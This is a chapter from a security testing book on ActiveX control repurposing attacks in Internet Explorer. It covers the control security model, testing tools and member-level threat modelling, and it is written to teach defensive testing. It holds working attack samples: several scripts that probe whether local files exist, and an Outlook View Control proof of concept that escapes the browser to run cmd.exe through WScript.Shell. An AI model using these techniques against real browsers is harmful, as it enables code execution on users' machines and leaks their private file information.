Chapter 18. ActiveX Repurposing Attacks

In the manufacturing process, there is a clever invention known as interchangeable parts, meaning a particular assembly or part could be swapped for another. If you have ever constructed a jigsaw puzzle, you are very familiar with noninterchangeable puzzle pieces. The concept of interchangeability lets you buy replacement parts, such as a bolt or a spare tire, with confidence the new one will be compatible and fit, given the design is compatible and the new part is manufactured to certain standards.

In the same way, modular programming allows for a programmer to write a particular computer routine to allow it to be used multiple times, creating gains in efficiency and adding value to what often become rather large shared program libraries. In the case of modular programming, the format of the input and output data used by the shared routine allows for interoperability between the shared code and the program using it. A number of programming languages and technologies such as remote procedure calls (RPCs), Java, Component Object Model (COM), and the Microsoft .NET Framework, build even further on this program sharing notion, allowing other programmers to reuse or call into program routines. Sometimes, attackers can call into these interfaces as well and use the shared libraries in ways not envisioned by the programmer. Repurposing attacks happen when shared code is functioning as designed but the attacker has manipulated the data to maliciously repurpose the code to serve his or her interests.

This chapter focuses on COM repurposing attacks and ActiveX control security. Note that managed code luring attacks are covered in Chapter 15, and SQL stored procedure repurposing issues are covered in Chapter 16. Before discussing the specifics of repurposing attacks, this chapter briefly reviews ActiveX terminology and the basics of scripting ActiveX controls. If you are not familiar with dynamic HTML (DHTML) and scripting, a good Web site to keep handy is http://msdn.microsoft.com/workshop/author/dhtml/reference/dhtml_reference_entry.asp. In addition to covering repurposing attacks, the chapter also discusses the Microsoft Internet Explorer 6.0 security model, as well as detailing several tools and attack strategies and techniques you can use when testing. The chapter finishes with a testing walkthrough that shows you how to apply the concepts to test a sample buggy ActiveX control.

More Info

The Internet Explorer 7.0 team is working on improving ActiveX security. For more information about the future of ActiveX security in Internet Explorer, see http://msdn.microsoft.com/library/en-us/IETechCol/cols/dnexpie/activex_security.asp.

Understanding ActiveX Controls

ActiveX controls are installed on the machine when the user visits Web sites and installs applications (such as Microsoft Windows Media Player). ActiveX controls are like full-blown client applications in that they are executable code running as the current user, just like client applications. ActiveX controls also have to expose certain COM interfaces. As such, ActiveX controls have all of the security issues client applications have, plus repurposing issues.

Creating ActiveX Controls in Internet Explorer

How does HTML use ActiveX controls in Internet Explorer? One way is to use the <object> HTML tag.

More Info

For more information about the <object> HTML tag, see http://msdn.microsoft.com/workshop/author/dhtml/reference/objects/object.asp.

Consider the following HTML code:

<object classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6">
</object>

The 128-bit value 6BF52A52-394A-11D3-B153-00C04F79FAA6 is referred to as the ClassID, coclass GUID, or CLSID, which serves to uniquely identify the ActiveX control.

Note

The CLSID is determined by the ActiveX control programmer, who typically uses a special algorithm when creating the CLSID to ensure uniqueness. Malicious Trojan authors might write controls with the same CLSID as popular controls to intercept calls intended for the original controls. One of the original Globally-Unique Identifier (GUID) generation algorithms included information from the user’s machine to help ensure uniqueness. This method led to privacy issues. According to http://en.wikipedia.org/wiki/Globally_Unique_Identifier, the ability to tie a GUID to the machine that generated it has aided in tracking down the Melissa worm author.

Figure 18-1 and Figure 18-2 show how the preceding HTML code is displayed in Internet Explorer. Internet Explorer doesn’t come with this functionality built in, but rather it loads the Windows Media Player program. Compare Figure 18-1 to Figure 18-2, which shows what happens if an ActiveX control is not installed on the client. Internet Explorer looks for the program with the code for CLSID 6BF52A52-394A-11D3-B153-00C04F79FAA6 and is unable to find it. If you try one of the examples included in this chapter and see something like this, likely your machine does not have the particular referenced ActiveX control installed.

The display when the referenced ActiveX control is installed on the machine

Figure 18-1. The display when the referenced ActiveX control is installed on the machine

The display when the referenced ActiveX control is not installed on the machine

Figure 18-2. The display when the referenced ActiveX control is not installed on the machine

In addition to using the HTML <object> tag, you can also use Microsoft Visual Basic, Scripting edition (VBScript) or JavaScript to create controls. Use of the <object> tag implies the control will display the control’s user interface in the Web page, whereas when a control is created by using script it typically will not display the control in the Web page user interface. Some controls function properly only from script or only when the <object> tag is used, whereas other controls might work well in both cases.

Warning

Beware! Because there are other ways of loading ActiveX controls besides using the HTML <object> tag, searching for the <object> tag alone will not necessarily allow you to find all of the ActiveX controls used on a particular Web page.

JavaScript code to create the same control looks as follows (this is included as Chapter18.02.html on this book’s companion Web site):

<script language=javascript>
    var MediaPlayer = new ActiveXObject("WMPlayer.OCX");
</script>

When Internet Explorer loads the preceding code, nothing appears. Although nothing appears, Internet Explorer still created the ActiveX control.

Note

The string WMPlayer.OCX is called the ProgID of the ActiveX control. ProgIDs are strings that identify controls, just as CLSIDs do. In some cases either the ProgID or the CLSID can be used to reference a particular control. ProgIDs do not have to be unique, although duplicating them is a bad idea because they are used to refer to components. Most ProgIDs come in the form Application.Control; however, control developers can call the ProgID anything they want to—the previous example is atypical in that the programmer used the filename as the ProgID. Some examples of ProgIDs include Word.Document and ADODB.Command.

Initializing and Scripting ActiveX Controls

Now that you can make ActiveX controls in the browser, what can you do with them? This section briefly summarizes control PARAMs (parameters), properties, methods, and events:

  • PARAMs. Internet Explorer loads these persistent properties with values specified in the Web page. Each ActiveX control has its own set of parameters. PARAMs can be set with no prompts if the IPersist-derived interface used is marked safe for initialization (SFI). SFI is discussed in greater detail later in this chapter.

  • Properties. Script in a Web page can get or set properties of a control through the IDispatch and IDispatchEx interfaces. Each ActiveX control has its own set of properties. Properties can be accessed with no prompts if the interface used is marked safe for scripting (SFS). SFS is discussed in greater detail later in this chapter.

  • Methods. Script can call methods of a control through IDispatch and IDispatchEx. Each ActiveX control has its own set of methods. The Web page can call methods with no prompts if the interface used is SFS.

  • Events. When certain conditions occur, the browser fires events, running event handler code set aside for the occasion. ActiveX controls can fire their own custom events and can trigger custom event handling as well, again with no prompts for SFS controls.

The following HTML code illustrates custom PARAMs, properties, methods, and events. Can you spot each?

<object ID=MyObj
   classid="clsid:12345678-1234-1234-5678-ABCDEF012345"
   width=50 height=50>
 <param name="CustomProperty1" value="Attacker's Data">
 <param name="CustomProperty2" value="Untrusted Input">
</object>
<script>
   //Calling Methods
   MyObj.MethodName("Parameter1", 7);

   //Getting and setting properties
   alert(MyObj.Property1);
   MyObj.Property2 = "NewPropertyValue";
</script>
<script language=vbscript>
 'Event Handler
 Sub MyObj_EventName(EventParameter1, EventParameter2)
    MsgBox "MyObj_EventName fired."
    MsgBox EventParameter1
    MsgBox EventParameter2
 End Sub
</script>

Repurposing ActiveX Controls

ActiveX controls are pretty powerful as a technology. Most developers see them as a way to extend the functionality in the browser to accomplish actions the browser cannot accomplish through HTML alone. With ActiveX controls, developers can have Web pages that install software, present items a certain way, interact with databases, and do useful tasks directly from the client.

There is a catch, however.

To see the catch, take a closer look at how ActiveX controls work. First, the control is installed on the client computer. This part happens when an application is set up or downloaded from the Internet.

Important

When ActiveX controls are installed during the installation of an application, the user is typically not aware these components are present on the computer. Which ActiveX controls does your product install? Have you identified them all?

Once a control marked SFS or SFI is installed, the developer can include special commands in the HTML of a Web page on the Internet that trigger the control to initialize with specific data and/or perform specific scripted actions, as specified in the HTML, with no warnings or prompts to the user. How does this work? First, the client machine browses to the developer’s Web page:

Which ActiveX Controls Does Your Application Install?

The HTML written by the developer is then returned to the client:

Which ActiveX Controls Does Your Application Install?

When the client machine processes the HTML, the browser initializes the control and performs the actions specified in the HTML on the client computer. This HTML might look something like what follows:

<script>
    MyObject.DoSomething(Fantastic);
</script>

When the programmer does great things, it makes customers happy:

Which ActiveX Controls Does Your Application Install?

Similarly, if someone other than the developer wants to, he or she can write HTML tags and script to manipulate the same ActiveX control to take specific actions when it is displayed by the browser on the client machine—again with no warning. This starts when the happy customer browses to another Web site:

Which ActiveX Controls Does Your Application Install?

The preceding graphic shows the malicious server with a big red X, but the customer isn’t aware anything is wrong yet. That Web site returns HTML that uses the ActiveX control:

Which ActiveX Controls Does Your Application Install?

When the user’s computer processes that HTML, it causes the ActiveX control to do something malicious.

<script>
   MyObject.DoSomething(Malicious);
</script>
Which ActiveX Controls Does Your Application Install?

The benefits for attackers in such situations are that users often aren’t even aware what their computers have been up to, firewalls usually will not stop this attack, and ActiveX controls typically are powerful.

This attack is called an ActiveX control repurposing attack, when code intended for one purpose could be directly called by malicious interests to perform tasks unintended by the original programmer because of the control’s design or implementation.

Using ActiveX SiteLock

The first impulse many people have when learning about ActiveX control repurposing bugs is to try to write some code to restrict which domain the control can be hosted in, but it’s easy to implement this incorrectly. Microsoft provides a C++ template known as SiteLock you can use at http://msdn.microsoft.com/archive/en-us/samples/internet/components/sitelock/default.asp. Just because a control uses some method of restricting which sites can load it doesn’t mean an attacker can’t repurpose the control. For example, if the control loads only in a domain that has a cross-site scripting bug, attackers can use the cross-site scripting bug to script the control and bypass the site-locking mechanism. For more information about cross-site scripting, see Chapter 10.

Your ActiveX controls should never rely on site locking mechanisms for security. Site locking is a layer of defense but assume from a testing perspective that it will be broken. If your control implements site locking, you should test that the implementation is robust against canonicalization and naming attacks, such as http://secunia.com/advisories/19521/ (see Chapter 12 for more information about how to test for these types of issues).

Site-locked controls still need to be tested for repurposing issues. One way to test these controls is to create appropriate domain entries in the %windir%system32driversetchosts file on your client test machine. Other ways include patching the binary or creating special test-only builds that always return S_OK when IObjectSafety::SetInterfaceSafetyOptions is called (be very careful you don’t accidentally ship this way).

ActiveX Repurposing: Causes

Here are some common causes of ActiveX code repurposing bugs. These are common bad practices:

  • COM interfaces not intended for use from the Internet were marked as safe accidentally—so Internet Explorer assumes they are safe when they in fact are not. One source of problems occurs when the programmer uses a wizard to generate the control or inherits from another set of interfaces without being aware of whether or not the control is marked safe.

  • Controls are marked as safe to eliminate the security prompt, but the control really is not safe.

  • Members (methods, properties, events) are added without due consideration or security review.

  • The ActiveX control creators are not aware that the members in the control can be called by any HTML on the Internet.

Important

One of the most common causes of ActiveX code repurposing is when the programmer/tester isn’t aware how COM and ActiveX technologies really work and the associated risks to which they are exposing their customers by choosing to use these technologies without careful security testing and code review.

Tip

Try it! Find a Web page that uses a control you have installed on your machine, and see how the developers scripted the control. Try writing your own script and changing the inputs to see whether you can get the control to behave differently.

Understanding the ActiveX Control Security Model

Now that you understand the basics of how ActiveX controls work and some of the associated problems, you’re ready to understand how Internet Explorer loads ActiveX controls and how the ActiveX security model works.

There are four main components to the security model for ActiveX controls:

  • InstallationInstallation takes place when the control is copied to the machine and registry entries are created that alert COM to the control’s presence.

  • InstantiationInstantiation involves using the registry entries in a systematic approach to locate the binary, copy it into memory, and call a few routine functions in the control.

  • InitializationInitialization means taking information from an untrusted source and handing it off to the control to establish a predefined initial state within the control.

  • ScriptingScripting means using untrusted script code to manipulate the control via the control’s IDispatchEx or IDispatch interface pointers. This manipulation can involve invoking methods, getting and setting property values, and handling events.

Installation

One way for attackers to trigger a remote ActiveX control to be installed from their server is by using the optional codebase attribute on the <object> HTML tag. Accordingly, Internet Explorer has security around installing controls that involves a digital signature check. (Note that once the control is installed, the digital signature is never checked again before further use.) The browser can’t fix the problem once the machine is compromised by a truly malicious Trojan ActiveX control. Because controls authored with nonmalicious intent from trusted sources can be repurposed as a separate attack, additional layers of security are built into Internet Explorer to allow legitimate developers to specify what level of security Internet Explorer should assume about their control.

Important

Once the programmer digitally signs buggy controls and distributes them, the programmer cannot necessarily patch the controls without revoking the certificate used to sign them—attackers can redistribute the buggy signed controls, and Internet Explorer will silently and automatically install them (configurable setting) to whomever trusts the digital certificate the original trusted publisher of the software used to sign the controls. After all, by digitally signing these components and distributing them the programmer implicitly thought the components were secure enough to be installed on the customer’s machine. If individual DLLs or OLE custom controls (OCXs), are signed, those can be referenced apart from their installer by attackers. Be very careful you do not digitally sign and distribute buggy beta or prerelease versions; it is a fantastic ounce of prevention to include an expiration for all prerelease controls so they are completely nonfunctional after a certain date to mitigate unforeseen future security issues.

Installation of other applications also places ActiveX controls on the system. Because controls ship with the operating system, Internet Explorer, and other commercial software, Internet Explorer needs a way to let users further restrict what those controls can do. This is detailed in the next few sections.

Instantiation (Instance Creation)

When a control is instantiated via the <object> HTML tag, Internet Explorer loads the control’s program files and runs the code in them to actually create a separate copy of the control in memory. Much documentation uses vague terms such as load, run, or create, but these vague terms typically fail to distinguish the act of instantiating the control from the act of initializing the control by sending data and parameters to the control (which is covered in the next section because it happens after instantiation is finished). The distinction is critical for security.

As discussed in the previous section, when Internet Explorer encounters an <object> HTML tag, it first checks to see whether the control referenced is installed. Once Internet Explorer has the correct version of the control, it then creates the object with IUnknown. Note that objects created through script are created with IDispatch or IDispatchEx.

Even COM objects not intended for use in Internet Explorer are instantiated in this way. This applies to all COM objects because Internet Explorer uses IUnknown, which is universally supported by all COM objects. All COM interfaces derive from IUnknown and supporting IUnknown is a fundamental COM requirement.

From the browser’s point of view, legitimate COM controls should not do anything dangerous when they are instantiated. Such a control could have just as easily caused problems when it was first installed. Installation and instantiation might appear to be the same equivalence class from a security testing perspective, but actually there are cases in which buggy controls, when called from any calling application, cause problems. Although most controls are safe when instantiated, some crash. Crashes can cause data loss, but some crashes are even more serious, as in the case of javaproxy.dll, which unloaded prematurely, allowing still-existing object pointers to call into freed heap memory. Attackers who aggressively filled the heap with their data could then get their code to run. To catch this kind of bug, do a thorough code review of the DllCanUnloadNow function and make sure the object reference counts function properly. See http://www.sec-consult.com/184.html and http://www.microsoft.com/technet/security/advisory/903144.mspx for more information.

When the attacker can begin to manipulate controls with content specified in the document, things become even more interesting and repurposing becomes an issue. Internet Explorer has security around that as well.

Initialization

Once the control is instantiated and there is a place for it in memory, the next task is to initialize the control. Initialization refers to setting the initial, nondefault state of the control’s properties. Some of this state is fairly well-defined: height, width. Some is custom—for example: Folder, DataSource. The Web page has the opportunity to feed in the values used during the control’s initialization. This is accomplished by persistent properties.

Persistent properties are specified by the <param> tags or the data attribute on the <object> tag when the control is loaded the first time, meaning you can take advantage of these persistent properties by repurposing them!

Control initialization happens through IPersist* interfaces. When multiple IPersist interfaces are present in the control, the data attribute of the <object> tag maps to IPersistStreamInit, IPersistStorage, IPersistFile, IPersistStream, and perhaps others (such as IPersistMoniker). The <param> tag maps to IPersistPropertyBag, IPersistPropertyBag2, and perhaps others. Internet Explorer prefers IPersistPropertyBag2 to IPersistPropertyBag if a control implements both.

Needless to say, there is a setting in Internet Explorer that governs whether to initialize the control with untrusted data or whether to initialize the control with default values.

Because IObjectSafety returns safe or unsafe based on arbitrary factors of the control programmer’s choice as implemented in the control’s IObjectSafety code when the control is run, and implementing IObjectSafety typically consumes development resources, it is reasonable to assume that if a control supports IObjectSafety, the control is safe under certain conditions and therefore the control should be tested as though it were marked as safe for scripting and safe for initialization unless further analysis demonstrates conclusively that the control is never safe for both GetInterfaceSafetyOptions and SetInterfaceSafetyOptions for all supported interfaces of concern.

In addition to sending data to a control, because Internet Explorer can allow script in the HTML to manipulate the control directly as well, there is additional security around scripting the control.

Scripting

Internet Explorer does not provide script support. It delegates that operation to a separate scripting engine. Internet Explorer and the script engine have settings to govern whether to let the script engine reference each control.

The active scripting setting is a switch that disables or enables all scripting in HTML in Internet Explorer. By extension, if script is disabled through the active scripting security setting, ActiveX controls are not scripted in Internet Explorer. (Note that some controls might be able to bypass this setting because they support running custom script or navigating to javascript: protocol handlers on control initialization.)

Once Internet Explorer tells the script engine about the control (hands it an IDispatch pointer), the script talks directly to the control and it is too late for Internet Explorer to stop future actions the script might do with the control.

Once the scripting engine knows about the control, the malicious script from the Web page can directly call methods, get and set properties, and access events in any order with any parameters, any number of times with no additional security checks of any kind done by Internet Explorer.

Using the ActiveX Control Testing Methodology

Now that you know which controls need to be tested, how can you test for repurposing attacks in ActiveX controls? The following sections and the walkthrough explain how to accomplish this using the following approach:

  1. Identify all of the members (methods, properties, events, and persistent properties) that the control supports. For each one, follow steps 2 through 5.

  2. Figure out how the control works for the given method, property, event, or PARAM.

  3. Prioritize by assessing the likely security issues though member-level threat modeling and analysis of the functionality each member provides.

  4. Try to repurpose each member.

  5. Identify the code servicing the request and trace the input, doing targeted code review.

  6. Try using the various known tricks (see the section below Additional Testing Tricks and Techniques).

Before enumerating all of the methods, properties, events, and persistent properties, remember to prioritize testing those controls that are marked safe because those controls are the ones that can most easily be repurposed. (Although it would be nice if all code was secure, and COM objects certainly have other security issues beyond ActiveX repurposing attacks.)

Discovering How the Control Works

Before you can properly and adequately construct security test cases, you need to know how the control works. Learning a little bit about what members a control supports is a step in the right direction, but it doesn’t really tell you everything you need to know. How can you get the information you really need?

A lot of resources are available to help you figure out how a control and its members work, as follows:

  • Experimenting with it. Sometimes it is fairly straightforward to figure out how a control works just by looking at the members and the parameters and playing with it a bit by trying HTML in the browser.

  • Tools. The next section covers a few useful tools in greater detail. Some tools give more information than you might think—for example, using tools like FileMon and Network Monitor in combination with the Load member makes a lot of sense. For more information about these tools, see Appendix A.

  • Bug reports. Bug reports and support articles about the member often contain sample code or descriptions of how the members work.

  • Software development kit or Help. Sometimes there is useful information in documentation that provides details on how the control or various members work.

  • Specifications. Sometimes the specification can provide information on how controls or members work.

  • Web pages. Often product UI or Web pages use the control. Viewing the HTML source is your friend. Look at what these pages do and how they use the control for clues.

  • Test cases. Existing test cases that cover testing the control or related functionality can prove useful.

  • Programmers. It is totally reasonable to sit down and socially engineer (ask) the programmer to go over how the control works—you need to test it, and to test it you need to know how it works.

  • Looking at the source code. Ultimately, if you can’t figure out how it works or need more details, consult the source code.

  • Internet. Don’t forget to plug the CLSID into your favorite Web search engine—take advantage of its uniqueness. If the control is being used externally, the Internet can contain useful information about how the control works.

  • Reverse engineering. If you don’t have the source code for a control, the problem of figuring out how the control works is well within your grasp.

Tip

Attackers are like investigative reporters. They are very observant and will try to use everything the control does to their advantage. You should, too.

Tools of Interest

Once you have determined a particular control is safe for scripting (and/or safe for initialization) and therefore warrants more attention, look at all of the members on a case-by-case basis to determine more granular test cases of interest. This section outlines using a variety of tools and ways of determining which members a control supports.

Important

Looking at the product specification and documentation might prove useful in test case generation, although these sources are not authoritative. You wouldn’t think the spelling checker necessarily works in a given build just because the specification says it should, the Help file agrees, and it has worked in the past. You’ve got to try it out before you know for sure. Security testing is no different from other testing in this regard.

Using tools can enhance the testing experience and teach you a lot about the control, but there is no substitute for testing each control by creating HTML and loading it in the Web browser—other environments (such as inserting the control in a C# app) might make some aspects easier, but often data marshalling and other environmental differences vary considerably. In short, you’re not really testing the control’s actual behavior until it is loading in the target environment the way an attacker would load it.

Tool: Object Browser

Object Browser, shown in Figure 18-3, ships with Microsoft Visual Basic, Visual Basic for Applications (Microsoft Office), and Visual Studio. Object Browser shows you quite a bit of information about objects, such as information a control publishes about itself.

Object Browser’s strong points are as follows:

  • Easy to get at objects that are referenced by other objects

  • Good, understandable presentation of prototypes

Its main weak points are these:

  • Members with the hidden attribute set are not necessarily displayed by default. Members with this attribute set are callable, so they need to be tested.

  • Unclear from the presentation which COM objects are controls.

  • No direct interoperability with the objects.

  • Does not handle PARAMs.

Object Browser, shown here with the DHTML Edit Control loaded

Figure 18-3. Object Browser, shown here with the DHTML Edit Control loaded

Tool: OLEView

OLEView, shown in Figure 18-4, ships with Visual Studio. It is also available as a sample application with source from http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vcsample/html/_sample_mfc_oleview.asp. OLEView provides a lot of information about COM classes and can be useful in finding out more about the ActiveX controls you are testing. OLEView also comes with a TypeLib viewer (ITypeLib Viewer), as shown in Figure 18-5. Compare the level of information given by the OLEView TypeLib viewer with Object Browser (shown in Figure 18-3).

OLEView

Figure 18-4. OLEView

TypeLib viewer in OLEView

Figure 18-5. TypeLib viewer in OLEView

OLEView’s strong points are as follows:

  • Most thorough at giving all of the attributes of calls.

  • Easy to get the CLSID on the Clipboard.

  • Source code available.

  • OLEView tells you which interfaces an object supports.

The main caveats for OLEView are these:

  • Most of the info in OLEView can be obtained from looking at the IDL/ODL (Interface/Object Definition Language) file in the source. The IDL file contains the member names and parameters and types.

  • Falsely makes the assumption that only interfaces marked as controls are controls.

  • No direct interoperability with the objects.

  • Slow, often hangs, or is unable to get information (not all COM server programmers write code that works acceptably in arbitrary COM applications like OLEView).

  • Does not handle PARAMs.

Tool: ActiveX Control Test Container

The ActiveX Control Test Container, shown in Figure 18-6 and Figure 18-7, is available at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vcsample/html/vcsmpTSTCONActiveXControlTestContainer.asp. ActiveX Control Test Container tool is shown in Figure 18-6 with a Forms.CommandButton control loaded. Notice the control’s events appear in the lower section of the application. In Figure 18-7, the Property Bag dialog box in ActiveX Control Test Container shows persistent properties the control supports. To open this dialog box click the Control menu, and then click Save To Property Bag.

A Forms.CommandButton control loaded in the ActiveX Control Test Container tool

Figure 18-6. A Forms.CommandButton control loaded in the ActiveX Control Test Container tool

ActiveX Control Test Container’s strong points are as follows:

  • Source code is available.

  • Can show which persistent properties (Stream, Storage, and PropertyBag) the control supports.

  • Lets you invoke methods and get and set properties, as well as see when events occur.

Property Bag dialog box in ActiveX Control Test Container

Figure 18-7. Property Bag dialog box in ActiveX Control Test Container

Its weak points are these:

  • The tool works differently from how Internet Explorer works and should not be substituted for testing using Internet Explorer.

  • Unclear from the tool which interfaces and methods are supported.

Tool: COMRaider

COMRaider, available from http://labs.idefense.com/labs-software.php?show=20, while designed for fuzz testing ActiveX controls, provides a full range of features to help you identify and test ActiveX controls for security bugs.

One of the tool’s biggest strengths is that it helps you test the control in the actual Web browser. Here is a brief summary of some of the features offered in the current version:

  • Good at easily helping you find ActiveX controls that are considered safe by Internet Explorer. All you have to do is point it at a directory and it will automatically find the controls.

  • Displays type information.

  • Automation and fuzzing libraries to help you automate the testing.

  • Generates some types of javascript test cases for you.

  • Integrated debugging to get more information when your control crashes, and you can rerun the test to reproduce the bug.

Member-Level Threat Modeling

Once you have identified each of the members in the control and how the member works, walk through each member and think about the risk. Certainly, any information from the overall threat model for the control would be useful here as well, but in practice few threat models dig as deeply as necessary to cover each member. For more information, see Chapter 2.

To think about the risk, think about the actions an Internet server should not be able to do on any client machine. Think about all the cool things attackers can do to trusting users. Following is a prioritized list that can give you some idea of the types of actions controls often attempt to do but should not really be doing. Use this list in combination with what you know about the control and during code review to make HTML and script to try to repurpose each member to do something malicious.

Tip

Keep this list handy as you look for bugs. Use this page to help push to get bugs fixed. The most useful way to review the members of your control for interesting items is to actually understand what each member does and assess the damage potential, using this list as a starting point.

  1. Control should not make damaging system calls or allow arbitrary code to be run:

    • Causing buffer overflows or taking advantage of format string vulnerabilities

    • Launching an executable

    • Installing software

    • Modifying the registry (in a scriptable way)

    • Rebooting the machine

    • Starting a service that gives access to the machine remotely

  2. Control should not modify or destroy information on the computer or bypass security settings:

    • Creating, editing, deleting files in a destructive way (even writing text can be bad if the attacker can specify where the file is created and inject batch file commands or can fill up the drive with junk)

    • Changing file or registry key permissions

    • Writing to an already-open connection of some sort (Dynamic Data Exchange (DDE), COM, Winsock, etc.)

    • Bypassing browser security settings.

  3. Control should not allow access to information about the computer/user:

  4. Control should not give away any other inappropriate information (see Chapter 7 for more information about how to test for information disclosure):

    • Revealing contents of files/documents

    • Revealing Clipboard data

    • Disclosing information from another browser window, domain, frame, document, external application, and the like

  5. Control should not be able to be used in a deceptive manner:

    • Repurposing of the control by a malicious site; the user is fooled by the familiar UI of the control and does not realize the site is bad (example might be Microsoft Passport or mail server logon)

    • Exposing interfaces that directly instantiate or call other unsafe controls or interfaces not otherwise accessible to script

    • Failing to warn users before taking certain kinds of action

    • Warning users but not acting consistently with the warning (saying one thing, but doing something else)

  6. Control should not use excessive resources locally:

    • Using up disk space/memory

    • Maxing out the processor (CPU)

    • Creating a lot of threads, handles, windows, and so forth

    • Failing to free resources and so forth on control uninitialization

  7. Control should not generate a fault that crashes or hangs the browser or operating system:

    • Not handling malformed data as input

    • Not handling exceptions

Additional Testing Tricks and Techniques

Attackers use a lot of interesting tricks and techniques to exploit ActiveX controls that you can use when testing. Some of these techniques present special cases worth discussing because they should be tested separately:

  • Exception handlers

  • Return values

  • Nested objects

  • Browser Helper Objects (BHOs)

  • Server redirection

  • Bypassing browser security settings

  • Namespaces and behaviors

Exception Handlers: Using try-catch

In general, ActiveX controls should not disclose information about which files exist on the local hard disk, but often the errors that ActiveX controls return to Internet Explorer give this useful information to an attacker. To retrieve these exceptions in JavaScript, add a try-catch block around test code that calls the method or property that throws the error. Primarily, these bugs exist in methods and properties with names like Load, Open, or *File. Basically, test anything that tries to load or open a file.

Following is a simple example of how to construct this test case, but it is not necessarily complete. In this example, the ConfigLocation property that exists on the ActiveX control is set to a file for which the attacker wants to verify its existence. If the file successfully loads, the code will not enter the catch section; if the file does not load, it does enter that section.

<OBJECT id="AX" classid=CLSID:12345678-1234-1234-1234-123456789ABC>

<script>
try {
AX.ConfigLocation = "c:\secret.txt";
alert("File exists!");
}
catch (oException) {
alert("File does not exist");
}
</script>

Just because the code went into the catch section because the control threw an exception does not necessarily mean that the file does not exist. Potentially, a number of things could fail on load (an example is a cross-domain warning was cancelled) that could also cause an error. Attackers can probe the details of the error, however, if the control provides those details.

When the code hits the catch block, different errors are represented by different numbers. In this particular example, here is how the ConfigLocation property works:

  1. It takes the value of the filename.

  2. It first checks to see whether the extension is .xml or .txt.

  3. It then checks for the file’s existence.

  4. Finally, it checks to see if it’s a valid XML file.

Errors can occur in at least three different places here, and because of this, the different error numbers returned give attackers key information.

To work through this, attackers can add logic to their catch statement that will look for a specific exception number to occur, like so:

<OBJECT id="AX" classid=CLSID:12345678-1234-1234-1234-123456789ABC>

<script>
try {
     AX.ConfigLocation = "c:\secret.txt";
     alert("File exists!");
}
catch (oException) {
//This is the number we identified to mean that the file does not exist.
     if (oException.number == "2476697211") {
          alert("File does not exist");
     }
     else {
          alert("File exists!");
     }
}
</script>

Tip

Typically, if the exception numbers for different error cases are the same, the description (or message) property of the exception will also be the same. But this is not always the case depending on where in the code the description is set.

Return Values

The programmer might have done a good job and made sure that the exceptions that can be caught are indistinguishable when a file exists or when a file doesn’t exist, but there are still other ways of finding out if the file really exists or not. Does the *Load method return anything?

Consider the following code, for example, which calls a method OpenFile. Suppose that after trying the try-catch method and a couple other cases, everything seems fine.

<script>
OpenFile("c:\secret.txt");
</script>

Digging a little deeper, you learn that the return value of the OpenFile method is a Boolean value. That’s interesting. What happens when an attacker tries to exploit it?

<script>
//If the return value is true, we know the file exists.
if (OpenFile("c:\secret.txt"))
{
     alert("File Exists!");
}
else
{
     alert("File Does Not Exist");
}
</script>

Because the return value of OpenFile is a Boolean value (although this would work equally well for long values and other data types), you can use that to your advantage. Specifically looking at the return value in this case tells you whether the file exists.

Tip

In addition to using try-catch blocks and looking at return values, don’t forget to look at events as well. Sometimes the number of times an event fires can also disclose information. A more subtle related issue is a timing attack. Even if the control doesn’t expose why it couldn’t load a configuration file, the time it takes might let the attacker know whether there was an attempt to parse the file.

Nested Objects

Attackers love this little secret: the scripting engine in Internet Explorer has no security in and of itself once it has an interface pointer. This means you can access unsafe objects through safe objects with no warning to the user, which means of course that those safe objects are really not very safe.

Important

All unmanaged code script security in Internet Explorer effectively is done by the browser before the object is handed off to the scripting engine. This means that if the control creates another object and hands it to the scripting engine, no security is applied to that other object. If the object is safe, the programmer and tester are certifying that the other object is in fact safe. In many cases, Internet Explorer does not even know about that other object—just the scripting engine.

Look at an example. The Microsoft Office Outlook View Control is great for Internet solution providers and developers who want to integrate Outlook’s functionality with other cool stuff. This control also turned out to be an insecure example of how an ActiveX control can allow script in Web pages to access more powerful COM objects that Internet Explorer would never allow script to create.

<object id="ViewControl"
classid="clsid:0006F063-0000-0000-C000-000000000046">
<param name="Folder" value="Inbox">
</object>
<script>
function DoIt() {
oItem=ViewControl.object.selection.Item(1);
oWSh=oItem.Session.Application.CreateObject("WScript.Shell");
oWSh.Run("cmd.exe /k echo ProofOfConcept");
}
setTimeout("DoIt()",2500);
</script>

How does this work? The attacker first specifies Inbox as a parameter on the <object> tag because the Inbox is one of the most likely folders to contain an item.

<object id="ViewControl"
classid="clsid:0006F063-0000-0000-C000-000000000046">
<param name="Folder" value="Inbox">
</object>

The first script to run is the setTimeout(“DoIt()”,2500); call, which waits 2.5 seconds (the attacker needs this because Outlook sometimes takes a little time to talk to the mail server and load the Inbox). Then the script calls a function (named DoIt), which is where the payload lives.

function DoIt() {
oItem=ViewControl.object.selection.Item(1);
oWSh=oItem.Session.Application.CreateObject("WScript.Shell");
oWSh.Run("cmd.exe /k echo ProofOfConcept");
}

How does function DoIt work?

oItem=ViewControl.object.selection.Item(1);

The ViewControl.object addresses the object model of the control itself, rather than talking to Internet Explorer, which overrides the fact that Internet Explorer will return something different for the selection property if the exploit referenced ViewControl.selection instead. The ViewControl.object.selection is a collection of MailItem objects, which can be stored in a variable in JavaScript even though it is not directly creatable in JavaScript.

Caution

When constructing test cases, make sure you are calling into the object itself instead of into the Internet Explorer Document Object Model (DOM). You can do this by setting breakpoints in the debugger, using the additional object in the script, or learning a lot about the DOM.

Because ViewControl.object.selection is a collection, it supports the Item method to retrieve a single item from the collection, so the attacker then gets the first item in the Inbox (the Outlook collections are one-based, unlike Internet Explorer collections, which are zero-based) and puts it into oItem. The Outlook View Control isn’t referenced by the script engine anymore at all. The script now has a regular Outlook MailItem object. The MailItem object is not safe at all, but there was no warning because the Outlook view control created the object, not Internet Explorer.

Important

Objects the control creates are not subject to the Internet Explorer security model. This means you need to test for security issues around those other objects as well—even if your programmers don’t write these objects—because your control is the one representing those objects as safe to the browser!

oWSh=oItem.Session.Application.CreateObject("WScript.Shell");

Which properties and methods does that object support? Well, it turns out script can get the Messaging Application Programming Interface (MAPI) Session, and then the main Outlook.Application object. That object has a CreateObject method that will create any COM object on the local system, so a good choice is the Windows Scripting Host (WSH) WScript.Shell object (which runs any commands).

oWSh.Run("cmd.exe /k echo ProofOfConcept");

Normally, the WScript.Shell object is not scriptable because it cannot be created in script by Internet Explorer without low security settings and prompts. But what happened instead was the Outlook View Control created the Outlook.Application object, which in turn created the WScript.Shell object. After that, the object became scriptable in Internet Explorer.

